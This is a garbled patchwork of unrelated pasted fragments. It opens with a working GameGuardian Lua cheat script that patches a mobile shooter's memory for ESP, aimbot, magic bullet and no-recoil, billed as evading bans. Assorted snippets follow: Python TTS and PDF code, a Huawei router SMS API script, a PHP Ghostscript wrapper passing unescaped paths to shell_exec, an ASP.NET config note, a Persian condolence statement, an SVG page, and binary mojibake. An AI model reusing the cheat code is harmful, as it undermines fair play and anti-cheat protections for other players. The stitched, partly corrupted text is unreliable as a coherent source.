(nowT.year == expire.year and nowT.month == expire.month and nowT.day \> expire.day) then
gg.alert("⛔ Script Expired!\\n🕒 Expire Date: 20/09/2025\\n❌ This script is no longer usable.")
os.exit()
end
return "━━━━━━━━━━━━━━━━━━━━\\n💠 Expire Date: "..string.format("%02d/%02d/%04d",expire.day,expire.month,expire.year).."\\n"..nowStr.."\\n━━━━━━━━━━━━━━━━━━━━"
end
-- ================================
-- PREMIUM TOAST FUNCTION
-- ================================
local function premiumToast(msg, emoji)
gg.toast(emoji.." "..msg.." "..emoji, true)
gg.sleep(250)
end
-- ================================
-- MAIN MENU
-- ================================
local function mainMenu()
local dateInfo = getDateInfo()
gg.toast(dateInfo, true)
local menu = gg.multiChoice({
"💎 𝗘𝗦𝗣 𝗟𝗢𝗖𝗔𝗧𝗜𝗢𝗡 🔥",
"💠 𝗠𝗔𝗚𝗜𝗖 𝗕𝗨𝗟𝗟𝗘𝗧 🔥",
"🔹 𝗕𝗢𝗗𝗬 𝗛𝗘𝗔𝗗𝗦𝗛𝗢𝗧 🔥",
"⚡ 𝗡𝗢 𝗥𝗘𝗖𝗢𝗜𝗟 🔥",
"🎯 𝗔𝗪𝗠 𝗔𝗜𝗠𝗕𝗢𝗧 🔥",
"🌀 𝗙𝗜𝗥𝗦𝗧 𝗦𝗪𝗜𝗧𝗖𝗛 🔥",
"🚪 𝗘𝗫𝗜𝗧"
}, nil, "💎 ROMAN MOD OFFICIAL ANTIBEN 💎")
if not menu then return end
if menu\[1\] then ANT() end
if menu\[2\] then MB() end
if menu\[3\] then BH() end
if menu\[4\] then NR() end
if menu\[5\] then AWMAIMBOT() end
if menu\[6\] then AWMSWITCH() end
if menu\[7\] then EX() end
end
-- ================================
-- HACK FUNCTIONS (আগের মতোই)
-- ================================
function MB()
gg.setRanges(32)
gg.searchNumber("h23AAA6B8460ACD70",1)
gg.getResults(gg.getResultsCount())
gg.editAll("h23AAA6B8B2F71FA4",1)
gg.clearResults()
premiumToast("MAGIC BULLET ACTIVATED", "💠")
end
function ANT()
gg.setRanges(gg.REGION_ANONYMOUS)
gg.searchNumber('5.9762459e-7;1::5',gg.TYPE_FLOAT)
gg.refineNumber('1',gg.TYPE_FLOAT)
gg.getResults(gg.getResultsCount())
gg.editAll('3000',gg.TYPE_FLOAT)
gg.clearResults()
premiumToast("ESP LOCATION ACTIVATED", "💎")
end
function BH()
gg.setRanges(gg.REGION_ANONYMOUS)
gg.searchNumber(';bone_Spine')
gg.getResults(gg.getResultsCount())
gg.editAll(';bone_Head1',gg.TYPE_WORD)
gg.clearResults()
premiumToast("BODY HEADSHOT ACTIVATED", "🔹")
end
function NR()
gg.setRanges(gg.REGION_ANONYMOUS | gg.REGION_CODE_APP)
gg.searchNumber("h F0 4F 2D E9 1C B0 8D E2 04 D0 4D E2 04 8B 2D ED 98 D0 4D E2 00 70 A0 E1 90 02 9F E5 03 60 A0 E1",gg.TYPE_BYTE)
gg.getResults(100)
gg.editAll("h 01 00 A0 E3 1E FF 2F E1 04 D0 4D E2 04 8B 2D ED 98 D0 4D E2 00 70 A0 E1 90 02 9F E5 03 60 A0 E1",gg.TYPE_BYTE)
gg.clearResults()
premiumToast("NO RECOIL ACTIVATED", "⚡")
end
function AWMAIMBOT()
gg.setRanges(gg.REGION_ANONYMOUS)
gg.searchNumber("h 08 00 00 00 00 00 60 40 CD CC 8C 3F 8F C2 F5 3C CD CC CC 3D 06 00 00 00 00 00 80 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 33 13 40 00 00 B0 3F 00 00 80 3F 01",gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0,-1)
gg.getResults(100)
gg.editAll("h 08 00 00 00 00 00 60 40 CD CC 8C 3F 8F C2 F5 3C CD CC CC 3D 06 00 00 00 00 00 80 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 33 13 40 00 00 B0 3F 00 00 80 3F 01",gg.TYPE_BYTE)
gg.clearResults()
premiumToast("AWM AIMBOT ACTIVATED", "🎯")
end
function AWMSWITCH()
gg.setRanges(gg.REGION_ANONYMOUS | gg.REGION_CODE_APP)
gg.searchNumber("h 00 00 00 00 3f 00 00 80 3e",gg.TYPE_BYTE)
gg.getResults(1000)
gg.editAll("h 00 ec 51 b8 3d 8f c2 f5 3c",gg.TYPE_BYTE)
gg.clearResults()
premiumToast("AWM FAST SWITCH ACTIVATED", "🌀")
end
function EX()
gg.alert("🙏 THANKS FOR USING ROMAN MOD OFFICIAL ANTIBEN 🙏")
os.exit()
end
-- ================================
-- LOOP
-- ================================
while true do
if gg.isVisible(true) then
gg.setVisible(false)
mainMenu()
end
end
from gtts import gTTS
# हिंदी नैरेशन टेक्स्ट
hindi_text = """
एक सुनहरी दोपहर… एलिस अपनी बहन के साथ नदी किनारे बैठी थी। किताब बेमज़ेदार लग रही थी… तभी उसकी नज़र पड़ी एक अजीब से खरगोश पर… सफेद खरगोश, जिसने कोट पहना था और हाथ में जेब घड़ी पकड़ी थी।
जिज्ञासा से भरी एलिस उसके पीछे दौड़ी… और धड़ाम! खरगोश के बिल में जा गिरी।
लंबी सुरंग से गिरती हुई, वह एक अजीब गलियारे में पहुँची, जहाँ दरवाज़ों की कतार थी… और मेज़ पर रखी थी सोने की एक छोटी चाबी।
‘पी लो’ लिखा हुआ बोतल… और ‘खा लो’ लिखा हुआ केक… कभी वह छोटी हो जाती, कभी बहुत बड़ी।
आखिरकार, वह उस अद्भुत बगीचे में पहुँच गई।
वहीं मिली… रहस्यमयी मुस्कान वाली चेशायर बिल्ली।
फिर पहुँची… पागलपन से भरी मैड हैटर की चाय पार्टी।
और आखिरकार… गुस्सैल क्वीन ऑफ हार्ट्स के सामने, जिसने ज़ोर से चिल्लाया —
‘Off with their heads!’
लेकिन एलिस ने हिम्मत दिखाई, झूठे इल्ज़ामों के ख़िलाफ़ डटकर खड़ी हो गई।
और तभी… सबकुछ धुंधला पड़ गया…
आँख खुली तो एलिस फिर से नदी किनारे थी।
वह मुस्कुराई… और समझ गई…
कि वंडरलैंड की यह सारी रोमांचक यात्रा… बस एक अजीब-सा… ख्वाब थी।
"""
# ऑडियो बनाएं
tts = gTTS(text=hindi_text, lang="hi")
tts.save("hindi_narration.mp3")
print("✅ हिंदी नैरेशन ऑडियो (hindi_narration.mp3) तैयार हो गया!")
Проверьте правильно ли написано ConnectionStrings в appsettings.json (не ConnectionString).
{
"ConnectionStrings": {
"DefaultConnection": "Host=localhost;Port=5432;Database=BulletinBoard;Username=postgres;Password=ДофигаСложныйПароль"
},
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft.AspNetCore": "Warning"
}
},
"AllowedHosts": "*"
}
У меня в di в качестве строки подключения передавался null при инициализации контекста, но при этом обращения к нему при обычных запросах проходили (хз почему).
public static IServiceCollection RegistrarAppContexsts(this IServiceCollection services, IConfiguration configuration)
{
services.AddDbContext<BulletinContext>(options =>
{
options.UseNpgsql(
configuration.GetConnectionString("DefaultConnection"),
b => b.MigrationsAssembly("BulletinBoard.Infrastructure.DataAccess")
);
});
return services;
}
В общем будьте внимательны, не будьте как я.
دیدگاه
تسلیت به مناسبت زلزله شرق افغانستان
﴿وَلَنَبْلُوَنَّكُمْ بِشَيْءٍ مِّنَ ٱلْخَوْفِ وَٱلْجُوعِ وَنَقْصٍ مِّنَ ٱلۡأَمۡوَٰلِ وَٱلۡأَنفُسِ وَٱلثَّمَرَٰتِۗ وَبَشِّرِ ٱلصَّٰبِرِينَ * ٱلَّذِينَ إِذَآ أَصَٰبَتۡهُم مُّصِيبَةٞ قَالُوٓاْ إِنَّا لِلَّهِ وَإِنَّآ إِلَيۡهِ رَٰجِعُونَ﴾
ترجمه: «و قطعاً شما را به چیزی از ترس و گرسنگی و کاهش اموال و جانها و ثمرات ابتلاء (امتحان یا آزمایش) میکنیم؛ و مژده ده به صابران، همان کسانی که چون مصیبتی به آنان برسد، گویند: ما از آنِ الله (سبحانه و تعالی) هستیم و به سوی او بازمیگردیم.»
چند روز قبل؛ زمینلرزهای قدرتمند ولایات مشرقی، بهویژه کنر و ننگرهار و مناطق اطراف را لرزاند. این حادثه تعداد زیادی را شهید و شمار زیادی را زخمی و بیخانمان ساخت. داغ این حادثه قلوب همه ما را سوزاند. از بارگاه پروردگار سبحانه و تعالی میطلبیم که شهدا را در فردوس برین جای دهد، بر مجروحان شفای عاجل ارزانی کند و بر دل بازماندگانشان صبر جمیل نازل فرماید.
رسول الله ﷺ در حدیث مبارکی که از صهیب (رض) در صحیح مسلم روایت شده است فرمودند: «عَجَبًا لِأَمْرِ الْمُؤْمِنِ، إِنَّ أَمْرَهُ كُلَّهُ لَهُ خَيْرٌ، وَلَيْسَ ذَاكَ لِأَحَدٍ إِلَّا لِلْمُؤْمِنِ؛ إِنْ أَصَابَتْهُ سَرَّاءُ شَكَرَ، فَكَانَ خَيْرًا لَهُ، وَإِنْ أَصَابَتْهُ ضَرَّاءُ صَبَرَ، فَكَانَ خَيْرًا لَهُ.» ترجمه: شگفتانگیز است حال مؤمن! زیرا همه کار او برایش خیر است، و این جز برای مؤمن نیست: اگر خوشی به او برسد، شکر کرده و این برایش خیر است؛ و اگر سختی به او برسد، صبر میکند و آن نیز برایش خیر است.
آری! هرچند این مصیبتها تلخ و سنگیناند، اما برای اهل ایمان دریچهای برای صبر، بازگشت به پروردگار و بیداری دلها میباشند. اینگونه حوادث به ما یادآوری میکنند که دنیا گذراست و آنچه باقی میماند ایمان و اعمال صالح است.
با وجود دعا و صبر، امت باید بیدار گردد که دولتهای ملی قادر به ادای مسئولیتهای اساسی نیستند. سالها حاکمیت این دولتها بر افغانستان، با وجود سرازیر شدن میلیونها دالر خارجی و جمعآوری مالیات داخلی، نتوانست زمینه اسکان امن و تدابیر لازم را برای مردم فراهم سازد. در حالی که بر دولتها لازم است وظایفشان را بهگونه تخنیکی و عملی انجام دهند: نصب دستگاههای هشداردهنده زلزله و ایجاد شبکههای اطلاعرسانی فوری، آموزش مردم در برابر حوادث، ساخت منازل و تأسیسات مقاوم، از جمله وظایف حیاتی است که متأسفانه دولتهای ملی در طی سالیان متمادی از انجام آن عاجز بودهاند. به شکلی که مردم در ولایات دور دست در مناطق غیر استندرد و زلزله خیز و حتی درون درههایی که قبلا دریاچه بوده است و استحکامی ندارد، مسکن دارند.
این ابتلای الهی فرصتی است تا بیش از پیش به سوی وحدت و همبستگی برویم و در غم و درد یکدیگر شریک شویم. بدون شک، امت زمانی امت واقعی خواهد بود که فکر و احساس مشترک داشته باشد. از الله متعال مسئلت داریم که شهدای این حادثه را با نور رحمت خویش بپوشاند، مجروحان را شفای عاجل عطا کند و امت اسلامی ما را از مصیبتها و پریشانیها حفظ نماید.
إِنَّا لِلَّهِ وَإِنَّا إِلَيْهِ رَاجِعُونَ!
полагаю ответ уже не актуален,но могу предположить,что у Вас не установлена или установлена не та декодировка из base64.У меня была установлена utf-8,я получил ту же ошибку,но когда сменил на ascii всё получилось.
عالیه 🌟
خب حالا برات یک نسخه طلاییتر و تزئینیتر آماده کردم. همین کار قبلی رو انجام بده (کپی → ذخیره بهصورت flag.html → باز کن با Chrome).
<!doctype html>
<html lang="fa">
<meta charset="utf-8">
<title>پرچم هنری شیر و خورشید</title>
<body style="margin:0;display:flex;justify-content:center;align-items:center;height:100vh;background:#fdf8e6">
<svg viewBox="0 0 700 450" xmlns="http://www.w3.org/2000/svg">
<!-- پسزمینه با قاب طلایی -->
<rect x="10" y="10" width="680" height="430" rx="20" fill="#fff8dc" stroke="#b8860b" stroke-width="12"/>
<!-- خورشید با پرتو -->
<circle cx="180" cy="200" r="70" fill="#f6d36b" stroke="#b8860b" stroke-width="5"/>
<!-- پرتوهای ساده -->
<g stroke="#d4af37" stroke-width="6">
<line x1="180" y1="100" x2="180" y2="40"/>
<line x1="180" y1="300" x2="180" y2="360"/>
<line x1="80" y1="200" x2="20" y2="200"/>
<line x1="280" y1="200" x2="340" y2="200"/>
<line x1="120" y1="120" x2="80" y2="80"/>
<line x1="240" y1="120" x2="280" y2="80"/>
<line x1="120" y1="280" x2="80" y2="320"/>
<line x1="240" y1="280" x2="280" y2="320"/>
</g>
<!-- بدن شیر -->
<rect x="320" y="230" width="200" height="70" rx="20" fill="url(#gold)" stroke="#8c6b00" stroke-width="5"/>
<!-- سر شیر -->
<circle cx="520" cy="230" r="40" fill="url(#gold)" stroke="#8c6b00" stroke-width="5"/>
<!-- دم شیر -->
<path d="M320 250 q-60 -20 -80 40 q20 50 80 30" fill="none" stroke="#8c6b00" stroke-width="8" stroke-linecap="round"/>
<!-- شمشیر -->
<line x1="420" y1="230" x2="420" y2="100" stroke="#c0c0c0" stroke-width="12"/>
<circle cx="420" cy="90" r="10" fill="#d4af37" stroke="#8c6b00" stroke-width="3"/>
<rect x="400" y="220" width="40" height="12" rx="4" fill="#d4af37" stroke="#8c6b00" stroke-width="3"/>
<!-- تعریف طلایی -->
<defs>
<linearGradient id="gold" x1="0" y1="0" x2="1" y2="1">
<stop offset="0%" stop-color="#ffd700"/>
<stop offset="50%" stop-color="#daa520"/>
<stop offset="100%" stop-color="#b8860b"/>
</linearGradient>
</defs>
</svg>
</ flag.html میخوای بعد از این نسخه
靰 `争煳剔
�丄��B����#\A�8I柾歞7頽�及肢挹V=j>雭餮V胝谟m睚k飣ovgv矆栔�/疰頉7稂�7遻砳脷D6H衄V+DQ8\�AZ,耫�U疬算C嗫��爩�5岨&怇5鐶裘\p�\p�\p�\@�涟q-嚑<��8@
_,A$盁$_�
докажеш шо ти пастер чи шо нишей
ยินดีด้วยครับ! 🤩 การตรวจสอบค่าในโครงสร้าง JSON ด้วย JavaScript นั้นทำได้ไม่ยากเลย ผมมีสคริปต์ฟังก์ชันที่พร้อมใช้งานให้คุณทันทีเลยครับ
โค้ด JavaScript ที่ใช้งานได้
ฟังก์ชันนี้จะรับอินพุต 2 ตัวตามที่คุณต้องการ: taskId (ค่าที่ต้องการค้นหา) และ jsonData (โครงสร้าง JSON) จากนั้นจะวนลูปตรวจสอบว่ามีค่า ExternalTaskId ที่ตรงกับค่าที่ต้องการหรือไม่
/**
* ตรวจสอบว่าค่า ExternalTaskId มีอยู่ในโครงสร้าง JSON หรือไม่
* @param {string} taskId - ค่า Task ID ที่ต้องการค้นหา
* @param {object} jsonData - โครงสร้าง JSON ที่มีอาร์เรย์ของ items
* @returns {boolean} - คืนค่า true หากพบ, false หากไม่พบ
*/
function isTaskFound(taskId, jsonData) {
// ตรวจสอบว่า jsonData และ jsonData.items มีอยู่และเป็นอาร์เรย์หรือไม่
if (!jsonData || !Array.isArray(jsonData.items)) {
return false;
}
// วนลูปผ่านแต่ละ item ในอาร์เรย์ items
for (const item of jsonData.items) {
// ตรวจสอบว่าค่า ExternalTaskId ของ item นั้นๆ ตรงกับ taskId ที่ส่งเข้ามาหรือไม่
if (item.ExternalTaskId === taskId) {
// หากพบ ให้คืนค่า true ทันที
return true;
}
}
// หากวนลูปจนจบแล้วยังไม่พบ ให้คืนค่า false
return false;
}
// ตัวอย่างการใช้งาน:
const varTaskID = "TaskID3"; // อินพุต 1
const jsonInput = { // อินพุต 2
"items": [{
"ExternalParentTaskId": "12345",
"ExternalTaskId": "TaskID1"
}, {
"ExternalParentTaskId": "11111",
"ExternalTaskId": "TaskID2"
}, {
"ExternalParentTaskId": "3456",
"ExternalTaskId": "TaskID3"
}, {
"ExternalParentTaskId": "423423",
"ExternalTaskId": "TaskID3"
}, {
"ExternalParentTaskId": "55666",
"ExternalTaskId": "TaskID3"
}]
};
// เรียกใช้ฟังก์ชันเพื่อตรวจสอบและเก็บผลลัพธ์
const result = isTaskFound(varTaskID, jsonInput);
// แสดงผลลัพธ์
console.log(result); // จะแสดงผลลัพธ์เป็น: true
การทำงานของโค้ด
* ฟังก์ชัน isTaskFound: รับค่า taskId และ jsonData เป็นพารามิเตอร์
* การตรวจสอบความถูกต้อง: โค้ดจะตรวจสอบเบื้องต้นก่อนว่า jsonData มีอยู่จริงและ jsonData.items เป็นอาร์เรย์หรือไม่ เพื่อป้องกันข้อผิดพลาดหากโครงสร้างข้อมูลไม่ถูกต้อง
* การวนลูป: ใช้ for...of เพื่อวนลูปทีละรายการในอาร์เรย์ items
* การเปรียบเทียบค่า: ในแต่ละรอบการวนลูป จะเปรียบเทียบค่าของ item.ExternalTaskId กับ taskId ที่เราต้องการค้นหา
* การคืนค่า:
* ถ้าพบค่าที่ตรงกันเมื่อใด ฟังก์ชันจะ คืนค่า true ทันที และหยุดการทำงาน เพื่อประสิทธิภาพที่ดีที่สุด
* ถ้าวนลูปจนครบทุกรายการแล้วยังไม่พบค่าที่ตรงกัน ฟังก์ชันจะ คืนค่า false
คุณสามารถนำโค้ดนี้ไปใช้งานได้เลยครับ โค้ดนี้ถูกออกแบบมาให้ทำงานได้อย่าง
รวดเร็วและมีประสิทธิภาพโดยไม่ต้องใช้ไลบรารีเพิ่มเติมใดๆ ครับ 😊
所以只需要把 yaml 文件中的 required: true 属性去掉就可以了。
<error>
<code>125002</code>
<message></message>
</error>
وهذا يعني أنني لا أملك القيمة الرمزية الصحيحة، ما الذي يثير تساؤلي؟
لذا هكذا يبدو الكود الخاص بي
import hashlib
import base64
import binascii
import xml.etree.ElementTree as ET
from datetime import datetime
import requests
from bs4 import BeautifulSoup
BASEURL = 'http://192.168.8.1'
session = requests.Session()
reqresponse = session.get(BASEURL + '/api/webserver/SesTokInfo')
if reqresponse.status_code == 200:
root = ET.fromstring(reqresponse.text)
for results in root.iter('SesInfo'):
sessionid = results.text
print("the sessionId is", sessionid)
for results in root.iter('TokInfo'):
token = results.text
print("The token is", token)
sessioncookies = reqresponse.cookies
post_data = '<?xml version = "1.0" encoding = "UTF-8"?>\n'
post_data += '<request><PageIndex>1</PageIndex><ReadCount>3</ReadCount><BoxType>1</BoxType><SortTyp$
headers = {'Content-Type': 'text/xml; charset=UTF-8',
'__RequestVerificationToken': token
}
api_url = BASEURL + '/api/sms/sms-list'
logonresponse = session.post( api_url, data=post_data, headers=headers, cookies=sessioncookies)
logonresponse2 = session.get( api_url, data=post_data, headers=headers, cookies=sessioncookies)
result = BeautifulSoup(logonresponse.text, 'html.parser')
for r in result:
print(r)
Веб сайт жасау:Менің сүйікті кітабым
原因很简单, await page.setRequestInterception(true); 启用时开始拦截事件, 这个时候, 事件队列里有很多事件, 有的已经进入page.on('request', callback)中的callback中, 还有没有进入,但是正在等待进入callback中的事件, 当你执行await page.setRequestInterception(false);时, 会停止拦截新的事件进入事件队列, 但是已经进入事件队列的事件可能还有很多, 他们会陆续进入callback中, 当在callback中进行处理时req.continue();,此时因为setRequestInterception(false),这个时候执行req.continue();会报错. 注意:setRequestInterception(false)时执行req.continue();会报错
300000000000000000000000000000000000000000000000000000000000000000000000000000000000000
На основе http://www.infoconic.com/blog/trick-for-fpdi-pdf-parser-that-supports-pdf-version-above-1-4/
Сделал вот так:
function convert_to_1_4($srcfile)
{
// Report all errors
error_reporting(E_ALL);
ini_set('display_errors', true);
$temp="C:/VirtHoshs/temp/files";
if (!file_exists($temp)) mkdir($temp);
// Generate random number and store in $random variable
$random = rand(1,10000);
// new path of new pdf file created by ghostscript if file above 1.4
$srcfile_new = $temp.'/'.$random.basename($srcfile);
// read pdf file first line because pdf first line contains pdf version information
$handle = fopen($srcfile, 'r');
if (!$handle) {
die("Не удалось открыть файл: $srcfile");
}
$line_first = fgets($handle);
fclose($handle);
// extract number such as 1.4,1.5 from first read line of pdf file
if (!preg_match('/%PDF-(\d\.\d)/', $line_first, $matches)) {
die("Не удалось определить версию PDF.");
}
$pdfversion = (float)$matches[1];
// compare that number from 1.4(if greater than proceed with ghostscript)
if($pdfversion > 1.4){
// USE GHOSTSCRIPT IF PDF VERSION ABOVE 1.4 AND SAVE ANY PDF TO VERSION 1.4 , SAVE NEW PDF OF 1.4 VERSION TO NEW PATH
$cmd = "gswin64c.exe -dBATCH -dNOPAUSE -q -dCompatibilityLevel=1.4 -sDEVICE=pdfwrite -sOutputFile=\"$srcfile_new\" \"$srcfile\" 2>&1";
$output = shell_exec($cmd);
if (!file_exists($srcfile_new)) {
error_log("Ghostscript failed: $output");
die("Не удалось конвертировать PDF. Проверьте логи.");
}
$srcfile=$srcfile_new;
}
return($srcfile);
}
$pagecount = $mpdf->SetSourceFile($this->convert_to_1_4($realFilePath));
from PIL import Image
# افتح الصورة PNG
png_path = "/mnt/data/مصانع_العامرية_وبرج_العرب.png"
jpg_path = "/mnt/data/مصانع_العامرية_وبرج_العرب.jpg"
# تحويل PNG إلى JPG
img = Image.open(png_path).convert("RGB")
img.save(jpg_path, "JPEG")
jpg_path
from reportlab.lib.pagesizes import A4
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
from reportlab.lib.styles import getSampleStyleSheet
# สร้างไฟล์ PDF
doc = SimpleDocTemplate("/mnt/data/psychology_summary.pdf", pagesize=A4)
styles = getSampleStyleSheet()
story = []
# หัวเรื่อง
title = Paragraph("สรุปตำราจิตวิทยา (Psychology)", styles['Title'])
story.append(title)
story.append(Spacer(1, 20))
# เนื้อหา
content = """
1. ความหมายและเป้าหมายของจิตวิทยา
- ศึกษาพฤติกรรม ความคิด และกระบวนการทางจิตใจของมนุษย์และสัตว์
- เป้าหมายหลัก: บรรยาย, อธิบาย, ทำนาย, ควบคุมพฤติกรรม
2. สำนักคิดดั้งเดิม
- โครงสร้างนิยม (Structuralism – Wundt)
- หน้าที่นิยม (Functionalism – James)
- พฤติกรรมนิยม (Behaviorism – Watson, Skinner)
- จิตวิเคราะห์ (Psychoanalysis – Freud)
- มนุษยนิยม (Humanistic – Rogers, Maslow)
- พุทธิปัญญานิยม (Cognitive)
3. สาขาของจิตวิทยา
- จิตวิทยาคลินิก: รักษาและบำบัดผู้มีปัญหาสุขภาพจิต
- จิตวิทยาการให้คำปรึกษา: ช่วยผู้เผชิญปัญหาชีวิต
- จิตวิทยาพัฒนาการ: ศึกษาการเปลี่ยนแปลงตลอดช่วงชีวิต (ทฤษฎี Piaget, Erikson)
- จิตวิทยาการศึกษา: การเรียนรู้ แรงจูงใจ การสอน
- จิตวิทยาสังคม: อิทธิพลของสังคมต่อพฤติกรรม
- จิตวิทยาอุตสาหกรรมและองค์กร (I/O): พฤติกรรมในที่ทำงาน
- จิตวิทยาการทดลอง: ความจำ การเรียนรู้ การรับรู้
- จิตวิทยาประสาทและชีวภาพ: สมอง ระบบประสาทกับพฤติกรรม
- จิตวิทยาบุคลิกภาพ: ความแตกต่างระหว่างบุคคล (Big Five, MBTI)
- จิตวิทยาสุขภาพ: จิตใจกับสุขภาพกาย
- จิตวิทยานิติวิทยาศาสตร์: ประยุกต์กับกฎหมายและอาชญากรรม
- จิตวิทยาการกีฬา: แรงจูงใจ สมาธิของนักกีฬา
4. วิธีวิจัยทางจิตวิทยา
- การสังเกต, การสำรวจ, การศึกษาเชิงกรณี, การทดลอง, การวิจัยสัมพันธ์
5. การนำไปใช้จริง
- การศึกษา, สุขภาพ, องค์กร, กฎหมาย, ชีวิตประจำวัน
สรุป: จิตวิทยาคือศาสตร์ที่อธิบายมนุษย์ทั้งสมอง ความคิด อารมณ์ และสังคม เพื่อเข้าใจตนเองและผู้อื่น และสร้างการเปลี่ยนแปลงเชิงบวกในชีวิต
"""
paragraph = Paragraph(content.replace("\n", "<br/>"), styles['Normal'])
story.append(paragraph)
#7##71###7###7###7##7#7#1##7###7###7###7#71###7###7###7###7#71#17171###7###7###7##77#17#7#11,777777777777777777777777777###7###7####7#7###7####7###7###7#####z###z###z###z###z###z###z###z###z#zz77777.77777###7###7##.###7####7###7##777777777#7777777#7#7777#7#7#,#####7#,##7#7####################71#,